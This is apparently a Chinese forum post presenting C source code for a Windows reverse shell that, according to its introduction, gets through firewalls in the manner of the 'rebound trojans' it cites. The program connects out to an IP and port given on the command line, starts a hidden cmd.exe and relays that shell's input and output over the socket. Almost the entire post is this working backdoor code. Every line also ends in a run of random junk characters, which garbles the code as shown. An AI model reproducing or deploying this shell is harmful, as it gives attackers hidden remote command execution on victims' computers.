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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 m44"qp  
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/* ============================== ^ZxT0oaL  
Rebound port in Windows NT 4=G)j+RCH  
By wind,2006/7  }de {-  
===============================*/ 9; \a|8O  
#include =RA8^wI  
#include |6cz r  
Y<4%4>a  
#pragma comment(lib,"wsock32.lib") ?5N7,|K)  
N(6Q`zs  
void OutputShell(); k10g %K4g  
SOCKET sClient; FZt a  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; )p$a1\ ~m  
:i?7RouO  
void main(int argc,char **argv) 6T?$m7c  
{ Ft<6`C  
WSADATA stWsaData; rZij[6]Y^  
int nRet; 6njwrqo  
SOCKADDR_IN stSaiClient,stSaiServer; 5~,/VV  
ii3{HJ*C  
if(argc != 3) _Q**4  
{ U#qs^f7R  
printf("Useage:\n\rRebound DestIP DestPort\n"); U,tl)(!@Q-  
return; w1Xe9'$Qb  
}  dcd9AW=  
LX!MDZz  
WSAStartup(MAKEWORD(2,2),&stWsaData);  )S8fFV  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $:RP tG  
7)i6L'r  
stSaiClient.sin_family = AF_INET; Fk-}2_=v i  
stSaiClient.sin_port = htons(0); [ T6MaP?  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _Nx#)(x  
* NB:"1x  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Dcep^8'  
{ @ptE&m  
printf("Bind Socket Failed!\n"); ,ix>e  
return; Pf,lZU?f  
} Fv )H;1V  
smJ#.I6/L  
stSaiServer.sin_family = AF_INET; A*a:#'"*N  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); KE_GC ;bQ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 0ECQ>Ux:  
W]-c`32~S  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ssx #\  
{ [b?[LK}.  
printf("Connect Error!");  {ch+G~oS  
return; /7o{%~O  
} Rnd.<jz+Y  
OutputShell(); Wu1">|  
} !D!1%@ e  
)Bb:?!EuEH  
void OutputShell() s6YnNJ,SK  
{ "Xz[|Xl  
char szBuff[1024]; KB\A<(o,  
SECURITY_ATTRIBUTES stSecurityAttributes; EqjaD/6Y`  
OSVERSIONINFO stOsversionInfo; gNj~o^6|@  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; LPRvzlY=  
STARTUPINFO stStartupInfo; px~:'U  
char *szShell; {I9<W'k{  
PROCESS_INFORMATION stProcessInformation; ro8c-[V  
unsigned long lBytesRead; g4U`Qf3  
"~nUwW|=1  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); b&_u+g  
9u^yEqG`  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !=B=1th4  
stSecurityAttributes.lpSecurityDescriptor = 0; ./r#\X)dc  
stSecurityAttributes.bInheritHandle = TRUE; -SeHz.` N  
Mf_urbp]  
}P(<]UF  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Ae3=o8p  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1m\ihU  
&f_ua)cyY  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &XF@Dvv  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1!"iN~  
stStartupInfo.wShowWindow = SW_HIDE; 0\tdxi  
stStartupInfo.hStdInput = hReadPipe; 9'I$8Su  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;]A:(HSZj  
D@iE2-n&V  
GetVersionEx(&stOsversionInfo); #_9Jam%M  
AY)R2> fW%  
switch(stOsversionInfo.dwPlatformId) hG!|ts  
{ Zf *DC~E_  
case 1: r(i!".Z  
szShell = "command.com"; ^sb+|b  
break; >DkRl  
default: eGE[4Z  
szShell = "cmd.exe"; 'M=c-{f~  
break; =+>^:3cCQ  
} I>n2# -8  
D]B;5f  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3+tr_psH  
wU(N<9  
send(sClient,szMsg,77,0); LPK[^  
while(1) cjyb:gAO  
{ c3X8Wi7m  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); F2WMts  
if(lBytesRead) gVU&Yl~/^  
{ Ps=<@,dks  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &8'QD~  
send(sClient,szBuff,lBytesRead,0); }$D{YHF  
} %LZ-i?DL4Q  
else yaWHGre  
{ m[E#$JZtG  
lBytesRead=recv(sClient,szBuff,1024,0); QbG`F8dj  
if(lBytesRead<=0) break; w W1>#F  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /aX#j`PrH  
} O9jpt>:kZ  
} kp>AZVk  
n^:Wc[[m  
return; S1G=hgF_L  
}
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